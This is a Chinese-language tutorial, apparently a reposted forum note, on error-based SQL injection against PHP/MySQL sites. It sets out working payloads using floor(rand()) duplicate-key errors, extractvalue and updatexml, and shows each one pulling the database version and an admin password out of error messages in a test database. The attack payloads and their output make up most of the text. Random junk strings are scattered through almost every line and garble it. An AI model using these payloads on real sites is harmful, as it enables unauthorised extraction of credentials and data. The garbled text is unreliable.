放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
$ x9 `. _2 G* w5 {+ N实际测试环境:; \* v# w- T( o2 O6 U& B# \
5 L3 `$ b# @& w
/ {% r' b% l; n+ {& M* g, G' w6 rmysql> show tables;
: `" d/ V0 l& E o4 ^! e/ [4 j+----------------+
/ P+ ]. M, B( C1 p1 Z" N& K: E| Tables_in_test |
: |0 ^* I7 c( s7 v( Z! ]+----------------+
/ @7 _$ E) c- c3 ]: }| admin |
- o- p0 T0 M+ a6 N& ?# D| article |
( q+ j. b6 B: K& R+----------------+3 a8 @, [! e+ t/ ?% }
- D. J% J( N! } m9 n2 U6 |8 [% i7 x F. N
( s! t( [* n. e4 n* }4 T- F
* j4 k* x5 S8 o2 \- j! M( Y/ amysql> describe admin;
% D# ]4 `' h" B: w+-------+------------------+------+-----+---------+----------------+
2 f9 a- {' x' g% f( t! r, S| Field | Type | Null | Key | Default | Extra |
8 n" t% j# F0 L- g: ^& q7 U/ A& v+-------+------------------+------+-----+---------+----------------+% {0 _. r G# M7 x# i5 m
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
! e/ W# }3 a W q; K/ c| user | varchar(50) | NO | | NULL | |
( H" R1 B2 h K! G- B& ?" K| pass | varchar(50) | NO | | NULL | |
& Z* f& r' Q" j7 A6 M1 P `+-------+------------------+------+-----+---------+----------------+& {- I( G Z7 n7 N$ p: s
. J' C4 V/ n7 O$ q+ x ! H6 A M8 L- } m
* U# b" z( Y. r- Qmysql> describe article; X' S7 `* p8 m, z( D
+---------+------------------+------+-----+---------+----------------+
+ S" y. f6 n. D) {4 v5 t7 w6 b| Field | Type | Null | Key | Default | Extra |0 S" q1 o. q" v8 R$ l9 H: a
+---------+------------------+------+-----+---------+----------------+# l. ^5 P. R6 h
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
' ^7 J& ^- G6 m3 z7 x| title | varchar(50) | NO | | NULL | |) n5 Y6 P3 f, r4 t% Z
| content | varchar(50) | NO | | NULL | |. Z% d8 W7 [7 [: V
+---------+------------------+------+-----+---------+----------------+% p' z+ x* f8 |: S y
1、通过floor报错6 y B/ l: B. A4 J, u9 p
可以通过如下一些利用代码0 }: e) C5 Q9 u n G
* x3 @0 K3 z. v / O# E4 S- x6 l8 ?, l3 |
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x# G8 S, N0 _+ b& b9 @- E' X! E, y( Q
from information_schema.tables group by x)a);
! B b H) `7 f6 u- }
7 N& U: Z# P% W+ N0 X- w
/ ~/ G- k2 J4 S: g9 Z8 pand (select count(*) from (select 1 union select null union select !1)x
, P% ~; r: M1 `2 P. u: M) ^$ Mgroup by concat((select table_name from information_schema.tables limit 1),* U$ _- O' W% s# {; g2 ?* R l
floor(rand(0)*2)));
. c! w8 {0 ?; F举例如下:
" U1 F- n* g; A' u, P; w首先进行正常查询:8 N0 t4 q; C$ B" t3 b( N7 @+ ]
* S& b9 J; x) Y1 T; v6 a: qmysql> select * from article where id = 1;' q6 ?" V `$ ] k0 K6 d; \% o7 [
+----+-------+---------+
3 |" o" W% `9 C; ^6 L| id | title | content |
0 T% W& K/ U2 g* s; T A8 d |: {& i& D+----+-------+---------+" ^" }+ X _5 L9 J
| 1 | test | do it |/ r* V- G, Z* O+ H) _4 K
+----+-------+---------+2 K2 h' X, v/ j h
假如id输入存在注入的话,可以通过如下语句进行报错。
8 D; Z2 C" e( C( m* b' t : a/ s- P- p/ N. e$ f. u
# E: I [6 _: V; f$ a4 v
mysql> select * from article where id = 1 and (select 1 from
4 e0 u( W7 i" h! z/ F+ {7 w1 ]8 J(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);+ h2 o( ~9 W5 p% z/ D5 m
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key') n& p4 `' f: J& @
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。4 j+ E8 s1 e! d( B) T' E
例如我们需要查询管理员用户名和密码:
# d8 r+ @2 W8 sMethod1:" R f9 U# u' `" i
* B7 T* o2 `3 ]. O- D: w0 _! V
# G. a% |: E6 P) Umysql> select * from article where id = 1 and (select 1 from
8 W J8 P* V% j2 D5 G) m' `. K(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x7 v: s6 Z7 l% b/ j1 V" A8 _
from information_schema.tables group by x)a);
. w9 \* w2 v \8 KERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'& b- B0 O3 F3 c! j: M. f
Method2:% l) m8 f z' n k5 A/ _
% D/ z5 w3 l9 v% G- d8 u
: G3 M) {3 h9 k$ Qmysql> select * from article where id = 1 and (select count(*)4 U! ?( m& M/ _# u
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
5 K& @$ ?3 }# s6 S! ufloor(rand(0)*2)));( V' {. K! D @5 v& h7 j* o. l
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'; J) U7 P; a' V; v& y1 S
2、ExtractValue
9 M9 l* v! e+ F测试语句如下
+ U5 G+ J$ _* X; ? 6 P# _# r9 z7 v/ E- r, C& k
5 U/ Z3 m# r! w3 k7 A
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
; J+ o4 `. j& I; e M实际测试过程
' J7 e& h$ o5 s# j: { 0 m0 P$ V y8 t
6 }& `* l! m* f" R/ t* r
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,0 o" i: `2 p' w' l/ J, S, g4 A/ r5 d5 I
(select pass from admin limit 1)));--* l( J2 C5 h) F* w6 p6 o# ~
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
4 Z4 R" I' x! b0 z3、UpdateXml: L* R' M# r, L# N8 l
测试语句
0 A- M7 a; h4 x* D* h% u' J% R% j ) S8 q( i6 V, s; m6 ]/ ?
6 z1 J! s U2 R- fand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
" Y6 w) ~( J2 o/ G5 W- d$ t# x$ l实际测试过程
4 `9 c I( s0 ~# G
- I4 W( B3 L( E. _
2 t6 Q. s) k9 T5 Amysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
8 z3 u# j' {) e(select pass from admin limit 1),0x5e24),1));, [+ _# W( b& K/ ~* ~
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'2 e+ w; c; z5 K9 u
All, thanks foreign guys.( q! ]( [6 p# Q `4 d
8 ]- R) z q; o- c; t8 \; ^( r$ ^9 }) K6 t4 K
|